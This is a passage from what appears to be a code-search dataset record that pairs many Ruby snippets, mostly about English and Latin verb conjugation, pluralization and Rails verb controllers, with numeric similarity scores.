passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def uppercase_http_verb(verb)\n str = verb.to_s.upcase\n str if http_verbs.include?(key_http_verb(verb))\n end", "def is_verb(token)\n _is_in(token, @verb_tags)\n end", "def message\n verb\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def gerund_verb?\n tag == \"VBG\" && tokenized != \"being\"\n end", "def create\n @irregular_verb = IrregularVerb.new(params[:irregular_verb])\n\n respond_to do |format|\n if @irregular_verb.save\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully created.' }\n format.json { render json: @irregular_verb, status: :created, location: @irregular_verb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def verb\n raise NotImplementedError.new('Must override')\n end", "def active_voice_indicative_mood_pastperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_PAST_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_pastperfect_tense] }\n end", "def new\n @irregular_verb = IrregularVerb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def mad_lib(plural_noun, verb)\n p \"#{plural_noun} are a great way to #{verb} around town.\"\nend", "def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_verbs\n @verbs ||= self.verbs\n end", "def has_verb?(verb)\n @verbs.any? { |v| v.name == verb }\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def create\n @verb = Verb.new(verb_params)\n\n if @verb.save\n render json: @verb, status: :created, location: @verb\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def path\n return \"\" unless verb_path\n verb_path[1]\n end", "def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend", "def indefinite_possessive_pronoun\n return \"its\"\n end", "def gift_verb(fulfillment)\n if fulfillment.quantity > 1\n \"were\"\n else\n \"was\"\n end\nend", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def present_participle(infinitive)\n if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(infinitive.to_sym)\n return present_participle_with_doubled_terminal_consonant_for infinitive\n end\n\n case infinitive.to_s\n when /c$/\n \"#{infinitive}k\"\n when /(^be|ye|oe|nge|ee)$/\n infinitive.to_s\n when /ie$/\n infinitive.to_s.gsub(/ie$/, 'y')\n when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/\n infinitive.to_s[0..-2]\n else # rubocop:disable Lint/DuplicateBranch\n infinitive.to_s\n end.dup.concat('ing').to_sym\n end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def verb\n\t\tif link = self.links.find {|link| link.llabel =~ /^(O([DFNTX]?)|P|BI|K|LI|MV|Q)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: LL of %p is %s\" % [ link.lword, link, link.llabel ]\n\t\t\treturn link.lword.sub( /\\.v$/, '' )\n\t\telsif link = self.links.find {|link| link.rlabel =~ /^(SI|S|AF)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: RL of %p is %s\" % [ link.rword, link, link.rlabel ]\n\t\t\treturn link.rword.sub( /\\.v$/, '' )\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def passive_voice_indicative_mood_future_tense\n end", "def active_voice_indicative_mood_futureperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_FUTURE_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_futureperfect_tense] }\n end", "def dynamic_phrase_2\r\n # Verse 0: **no more bottles**\r\n if zero_bottles?\r\n \"no more #{bottle_s}\"\r\n else\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def passive_voice_subjunctive_mood_present_tense\n end", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def inflect(infinitive, inflection, person, plurality, mood)\n send(*[inflection, infinitive, person, plurality, mood][0, method(inflection).arity + 1])\n end", "def basic_stem\n # undo some euphonic changes so that we can recover\n # the basic stem\n form = @first_form.sub(/(?:μμαι)$/,'πμαι') # palatal\n form = form.sub(/(?:σμαι)$/,'τμαι') # dental\n form = form.sub(/(?:ουμαι)$/,'εομαι') # future contracted deponents\n\n # now remove the ending\n form.sub(/(?:ω|ον|α|ομαι|μαι|ην)$/,'')\n end", "def active_voice_imperative_mood_future_tense# {{{\n f = imperatives.future\n return TenseBlock.new( [ '', f[0], f[2],\n '', f[1], f[3]\n ],\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_imperative_mood_future_tense] }\n )\n end", "def engtagger_lookup sentence\n nouns, verbs = tag_sentence(sentence)\n sentence.words.graph do |word|\n pos = case word\n when ->(w){ verbs.include? w }\n \"verb\"\n when ->(w){ nouns.include? w }\n \"noun\"\n else\n \"unknown\"\n end\n [word, [pos]]\n end\n end", "def hidden?\r\n verb.to_s.start_with?('_')\r\n end", "def active_voice_subjunctive_mood_present_tense\n end", "def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def single_terminal_consonant(infinitive)\n @single_terminal_consonants << infinitive\n end", "def active_voice_indicative_mood_future_tense\n end", "def to_json(*a)\n json_hash = {'json_class' => self.class.name}\n\n # In the case that we're working with a regular verb, the only thing\n # we need to save is the original string, since everything can be\n # re-derived from it easily.\n unless self.irregular?\n # While this single string is sufficient to freeze and revivifty\n # the verb, it means that the JSON structure is rather vacuous.\n # Given this, the hash is enriched so that the JSON data is\n # useful. Nevertheless, in the revivification process, only\n # 'orig_string' is used.\n %w{original_string classification stem}.each do |k|\n json_hash[k] = self.send k.to_sym\n end\n json_hash['tense_list' ] = {}\n @tense_list.each do |t|\n json_hash['tense_list'][t.to_s] = self.send t.to_sym\n end\n json_hash['irregular'] = irregular?\n return json_hash.to_json(*a)\n end\n end", "def plural_noun( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_noun(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def update\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n if @irregular_verb.update_attributes(params[:irregular_verb])\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def dynamic_phrase_4\r\n\r\n # Verse 1: **no more bottles**\r\n if one_bottle?\r\n \"no more bottles\"\r\n # Verse 0: **99 bottles**\r\n elsif zero_bottles?\r\n \"99 #{bottle_s}\"\r\n else\r\n # Verse 2: **bottle**\r\n # Verse x: **x bottles**\r\n @bottle_quantity -= 1\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def verb_path\n return nil if @binding.nil?\n\n {\n get: @binding.get,\n post: @binding.post,\n put: @binding.put,\n patch: @binding.patch,\n delete: @binding.delete\n }.find { |_, value| !value.empty? }\n end", "def stem_porter\n\n # make a copy of the given object and convert it to a string.\n w = self.dup.to_str\n \n return w if w.length < 3\n \n # now map initial y to Y so that the patterns never treat it as vowel\n w[0] = 'Y' if w[0] == ?y\n \n # Step 1a\n if w =~ /(ss|i)es$/\n w = $` + $1\n elsif w =~ /([^s])s$/ \n w = $` + $1\n end\n\n # Step 1b\n if w =~ /eed$/\n w.chop! if $` =~ MGR0 \n elsif w =~ /(ed|ing)$/\n stem = $`\n if stem =~ VOWEL_IN_STEM \n w = stem\n\tcase w\n when /(at|bl|iz)$/ then w << \"e\"\n when /([^aeiouylsz])\\1$/ then w.chop!\n when /^#{CC}#{V}[^aeiouwxy]$/o then w << \"e\"\n end\n end\n end\n\n if w =~ /y$/ \n stem = $`\n w = stem + \"i\" if stem =~ VOWEL_IN_STEM \n end\n\n # Step 2\n if w =~ SUFFIX_1_REGEXP\n stem = $`\n suffix = $1\n # print \"stem= \" + stem + \"\\n\" + \"suffix=\" + suffix + \"\\n\"\n if stem =~ MGR0\n w = stem + STEP_2_LIST[suffix]\n end\n end\n\n # Step 3\n if w =~ /(icate|ative|alize|iciti|ical|ful|ness)$/\n stem = $`\n suffix = $1\n if stem =~ MGR0\n w = stem + STEP_3_LIST[suffix]\n end\n end\n\n # Step 4\n if w =~ SUFFIX_2_REGEXP\n stem = $`\n if stem =~ MGR1\n w = stem\n end\n elsif w =~ /(s|t)(ion)$/\n stem = $` + $1\n if stem =~ MGR1\n w = stem\n end\n end\n\n # Step 5\n if w =~ /e$/ \n stem = $`\n if (stem =~ MGR1) ||\n (stem =~ MEQ1 && stem !~ /^#{CC}#{V}[^aeiouwxy]$/o)\n w = stem\n end\n end\n\n if w =~ /ll$/ && w =~ MGR1\n w.chop!\n end\n\n # and turn initial Y back to y\n w[0] = 'y' if w[0] == ?Y\n\n w\n end", "def find(any_verb_form)\n end", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def active_voice_subjunctive_mood_present_tense\n return @proxyVerb.send :active_voice_subjunctive_mood_present_tense\n end", "def handle(args)\n options = self.getDefaultOptions()\n subcommandHandlerFactory = SubcommandHandlerFactory.new\n\n # Rememmber that ARGV does not include the program name ($0) in Ruby.\n # This is like Java; unlike Python and C/C++/Go.\n loop do\n break if args.length == 0\n break unless args[0][0] == '-'\n option = args.shift\n\n if option == '-h'\n self.usage(0)\n elsif option == '--help'\n self.usage(0)\n elsif option == '-l' || option == '--list-verbs'\n SubcommandHandlerFactory.listVerbs()\n exit(0)\n\n elsif option == '-v' || option == '--verbose'\n options['verbose'] = true\n elsif option == '-q' || option == '--quiet'\n options['verbose'] = false\n elsif option == '-s' || option == '--show-urls'\n options['showURLs'] = true\n\n elsif option == '-a' || option == '--app-token-env-name'\n self.usage(1) unless args.length >= 1\n options['accessTokenEnvName'] = args.shift\n elsif option == '-b' || option == '--base-te-url'\n self.usage(1) unless args.length >= 1\n options['baseTEURL'] = args.shift\n\n else\n $stderr.puts \"#{$0}: unrecognized option #{option}\"\n exit 1\n end\n end\n\n if args.length < 1\n self.usage(1)\n end\n verbName = args.shift\n verbArgs = args\n\n # Endpoint setup common to all verbs\n ThreatExchange::TENet::setAppTokenFromEnvName(options['accessTokenEnvName'])\n baseTEURL = options['baseTEURL']\n unless baseTEURL.nil?\n ThreatExchange::TENet::setTEBaseURL(baseTEURL)\n end\n ThreatExchange::TENet::setAppTokenFromEnvName(options['accessTokenEnvName'])\n\n subcommandHandler = subcommandHandlerFactory.create(verbName)\n\n if subcommandHandler.nil?\n $stderr.puts \"#{$0}: unrecognized verb \\\"#{verbName}\\\"\"\n exit 1\n end\n\n subcommandHandler.handle(args, options)\n\n end", "def dynamic_phrase_1\r\n\r\n # Verse 1: **1 bottle**\r\n # Verse 0: **No more bottles**\r\n if zero_bottles?\r\n \"No more bottles\"\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n else\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def preform\n length = @sentence.length - 1\n u = 1\n puts @sentence\n for i in (0..length) do\n u == 1 ? @sentence[i] = @sentence[i].upcase : @sentence[i] = @sentence[i].downcase\n u = u*(-1)\n end\n puts @sentence\n end", "def anatomy_past_tense; end", "def bob(sentence)\n\tif sentence.empty?\n\t\t\"Fine. Be that way!\"\n\telsif sentence == sentence.upcase && sentence != sentence.downcase\n\t\t\"Woah, chill out\"\n\telsif sentence.end_with?(\"?\")\n\t\t\"Sure\"\n\telse\n\t\t\"Whatever\"\n\t\t\n\tend\n\t\nend", "def other_http_verbs_than(*verbs)\n http_verbs - verbs.flatten.map(&:to_s).map(&:downcase).map(&:to_sym)\n end", "def wookie_sentence; end" ]
[ "0.6933279", "0.6933279", "0.6933279", "0.6933279", "0.6933279", "0.6871663", "0.68478954", "0.68268657", "0.65009624", "0.64425033", "0.64098805", "0.6397607", "0.6354151", "0.6325868", "0.6250032", "0.61869764", "0.6184334", "0.6075305", "0.6049149", "0.59887797", "0.59556156", "0.5859946", "0.5849951", "0.58176607", "0.576698", "0.5724444", "0.5723575", "0.57207066", "0.57163894", "0.5710103", "0.5706366", "0.56990486", "0.56663406", "0.5664626", "0.5664626", "0.56532", "0.5649449", "0.5585594", "0.558248", "0.557697", "0.5563667", "0.5515338", "0.55055237", "0.54917717", "0.5490906", "0.5490522", "0.5482188", "0.54811466", "0.5463437", "0.5447274", "0.5425423", "0.52794385", "0.5271307", "0.5258992", "0.52383643", "0.52369183", "0.52271646", "0.5220502", "0.52190405", "0.52088344", "0.5202581", "0.519538", "0.5186093", "0.51676154", "0.5144998", "0.51408744", "0.5124662", "0.5120751", "0.5099409", "0.50924486", "0.50888747", "0.50688756", "0.5064276", "0.5042", "0.4977657", "0.49609363", "0.49494419", "0.4935979", "0.4932551", "0.492093", "0.4916332", "0.49148774", "0.49102706", "0.49018908", "0.4900906", "0.48716193", "0.48647672", "0.48606113", "0.48557344", "0.48450133", "0.48449507", "0.4803758", "0.48026597", "0.47977874", "0.47934234", "0.47911677", "0.47909388", "0.47895637", "0.47696242", "0.4754772" ]
0.6110706
17
Apply thir person rules to the verb for the conjugation Params: verb, apply proper third person rules to this
def present_third_person_singular_form_for(verb) infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s case infinitive when /[a-z&&#{CONSONANT_PATTERN}]y$/i "#{infinitive[0..-2]}ies" when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i "#{infinitive}es" when /[^s]s$/i "#{infinitive}ses" else "#{infinitive}s" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def noun; end", "def noun; end", "def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend", "def translate_three_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# then grab the third letter from the array\n\t\t\t\tthird_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + third_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def apply rule\n run((String===rule) ? @rules[rule].consequence : rule.consequence)\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def preform\n length = @sentence.length - 1\n u = 1\n puts @sentence\n for i in (0..length) do\n u == 1 ? @sentence[i] = @sentence[i].upcase : @sentence[i] = @sentence[i].downcase\n u = u*(-1)\n end\n puts @sentence\n end", "def dynamic_phrase_3\r\n one_it = 'one'\r\n\r\n # Verse 0: **Go to the store and buy some more**\r\n if zero_bottles?\r\n 'Go to the store and buy some more'\r\n else\r\n # Verse 1: **it**\r\n if one_bottle?\r\n one_it = 'it'\r\n end\r\n # Verse x: **Take one down and pass it around**\r\n \"Take #{one_it} down and pass it around\"\r\n end\r\n end", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def uppercase_http_verb(verb)\n str = verb.to_s.upcase\n str if http_verbs.include?(key_http_verb(verb))\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def do_process(st)\n\n\t\teojeols = st.get_eojeols()\n\n for i in 0..(eojeols.length-1) do\n morphemes = eojeols[i].get_morphemes()\n tags = eojeols[i].get_tags()\n\n @nounMorphemes.clear\n @nounTags.clear\n\n for j in 0..(tags.length-1) do\n c = tags[i][0]\n if c == \"n\" then\n @nounMorphemes << morphemes[j]\n @nounTags << tags[j]\n elsif c == \"f\" then\n @nounMorphemes << morphemes[j]\n @nounTags << \"ncn\"\n end\n end\n\n eojeols[i].set_morphemes(@nounMorphemes)\n eojeols[i].set_tags(@nounTags)\n end\n\n st.set_eojeols(eojeols)\n\n\t\treturn st\n\tend", "def pronoun_or_noun(noun, audience, options = {})\n return '' if noun.blank?\n\n options = {\n :force_pronoun => false,\n :force_noun => false,\n :capitalize => false,\n :case => Grammar::Case::SUBJECT\n }.merge(options)\n\n person = Grammar::Person::parse(noun, audience)\n\n if options[:force_noun] || (person == Grammar::Person::THIRD && !options[:force_pronoun])\n result = noun.to_s\n result += \"'s\" if options[:case] == Grammar::Case::POSSESSIVE\n else\n number = Grammar::Number::parse(noun)\n gender = options[:gender] || (Grammar::Gender::parse(noun) rescue Grammar::Gender::NEUTER)\n kase = options[:case]\n result = Grammar::Pronoun::pronoun_for(person, number, kase, gender)\n result = options[:capitalize] ? result.capitalize : result.downcase\n end\n result\n end", "def dluralizer(noun,num)\n if num == 1\n p '#{num} #{noun}'\n elsif num > 1 && noun == \"sheep\"\n p '#{num} #{noun}'\n elsif num > 1 && noun == 'goose'\n p '#{num} geese'\n elsif num > 1 && noun == 'child'\n p '#{num} children'\n elsif num > 1 && noun == 'person'\n p '#{num} people'\n elsif num > 1\n p \"#{num} #{noun}s\"\nend", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def nouns\n {\"cat\" => [\"cats\", \"cat\"], \"hero\" => [\"heroes\"]}\n end", "def postprocess\n @@morphs.each do |morph|\n # this does a simple replacement for character groups, so that:\n # \"(|A)\" becomes the equivalent of \"(#{Rule['A'].chars.join('|')})\"\n morph.from.gsub!(/(\\||\\&)([A-Z])/) { Rule[$2].chars.join($1 == '|' ? $1 : '') }\n morph.from = Regexp.new(morph.from)\n end\n end", "def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def test_complex_pronouns\n assert_equal('yes, I rule', 